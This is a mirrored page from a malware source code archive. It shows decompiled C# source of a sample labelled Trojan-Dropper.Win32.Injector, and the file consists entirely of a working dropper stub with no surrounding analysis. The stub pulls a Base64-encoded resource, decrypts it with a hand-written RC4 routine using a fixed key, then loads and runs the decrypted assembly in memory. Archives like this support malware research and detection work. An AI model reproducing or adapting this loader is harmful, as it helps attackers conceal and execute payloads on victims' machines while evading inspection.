mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
102 lines
3.4 KiB
C#
102 lines
3.4 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: zJKINkqxcpoFILDcqjUC.EYBGTQyMllNViKeJhyZz
|
|
// Assembly: server, Version=7.6.3.6, Culture=neutral, PublicKeyToken=null
|
|
// MVID: B399613F-AA44-4659-9C3D-A35CA13F4D34
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.Win32.Injector.bntu-f14644fe23c0d35dd759c7484edf64eea694c62a0c31a27394e4038bc5972e36.exe
|
|
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|
using System;
|
|
using System.ComponentModel;
|
|
using System.Reflection;
|
|
using System.Resources;
|
|
using System.Runtime.CompilerServices;
|
|
|
|
namespace zJKINkqxcpoFILDcqjUC
|
|
{
|
|
[StandardModule]
|
|
internal sealed class EYBGTQyMllNViKeJhyZz
|
|
{
|
|
private static ResourceManager resourceMan;
|
|
|
|
[STAThread]
|
|
public static void Main()
|
|
{
|
|
byte[] ÁÄÁ = Convert.FromBase64String(EYBGTQyMllNViKeJhyZz.ResourceManager.GetString("BwkGvmB"));
|
|
EYBGTQyMllNViKeJhyZz.aer((byte[]) EYBGTQyMllNViKeJhyZz.dec(ref ÁÄÁ));
|
|
}
|
|
|
|
private static void aer(byte[] tresb)
|
|
{
|
|
Assembly assembly = Assembly.Load(tresb);
|
|
MethodInfo entryPoint = assembly.EntryPoint;
|
|
object objectValue = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(assembly.CreateInstance(entryPoint.Name))));
|
|
entryPoint.Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue))), (object[]) null);
|
|
}
|
|
|
|
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
|
internal static ResourceManager ResourceManager
|
|
{
|
|
get
|
|
{
|
|
if (object.ReferenceEquals((object) EYBGTQyMllNViKeJhyZz.resourceMan, (object) null))
|
|
EYBGTQyMllNViKeJhyZz.resourceMan = new ResourceManager("EYDbsT", typeof (EYBGTQyMllNViKeJhyZz).Assembly);
|
|
return EYBGTQyMllNViKeJhyZz.resourceMan;
|
|
}
|
|
}
|
|
|
|
public static object dec(ref byte[] ÁÄÁ)
|
|
{
|
|
byte[] numArray1 = new byte[8]
|
|
{
|
|
(byte) 1,
|
|
(byte) 2,
|
|
(byte) 3,
|
|
(byte) 4,
|
|
(byte) 5,
|
|
(byte) 6,
|
|
(byte) 7,
|
|
(byte) 8
|
|
};
|
|
byte[] numArray2 = new byte[256];
|
|
byte[] numArray3 = new byte[256];
|
|
int length1 = ÁÄÁ.GetLength(0);
|
|
int length2 = numArray1.GetLength(0);
|
|
int index1 = 0;
|
|
do
|
|
{
|
|
numArray2[index1] = checked ((byte) index1);
|
|
numArray3[index1] = numArray1[index1 % length2];
|
|
checked { ++index1; }
|
|
}
|
|
while (index1 <= (int) byte.MaxValue);
|
|
int index2 = 0;
|
|
int index3 = 0;
|
|
do
|
|
{
|
|
index2 = checked (index2 + (int) numArray2[index3] + (int) numArray3[index3]) % 256;
|
|
byte num = numArray2[index3];
|
|
numArray2[index3] = numArray2[index2];
|
|
numArray2[index2] = num;
|
|
checked { ++index3; }
|
|
}
|
|
while (index3 <= (int) byte.MaxValue);
|
|
int index4 = 0;
|
|
int index5 = index4;
|
|
int num1 = checked (length1 - 1);
|
|
int index6 = 0;
|
|
while (index6 <= num1)
|
|
{
|
|
index5 = checked (index5 + 1) % 256;
|
|
index4 = checked (index4 + (int) numArray2[index5]) % 256;
|
|
byte num2 = numArray2[index5];
|
|
numArray2[index5] = numArray2[index4];
|
|
numArray2[index4] = num2;
|
|
int index7 = checked ((int) numArray2[index5] + (int) numArray2[index4]) % 256;
|
|
ÁÄÁ[index6] = (byte) ((int) ÁÄÁ[index6] ^ (int) numArray2[index7]);
|
|
checked { ++index6; }
|
|
}
|
|
return (object) ÁÄÁ;
|
|
}
|
|
}
|
|
}
|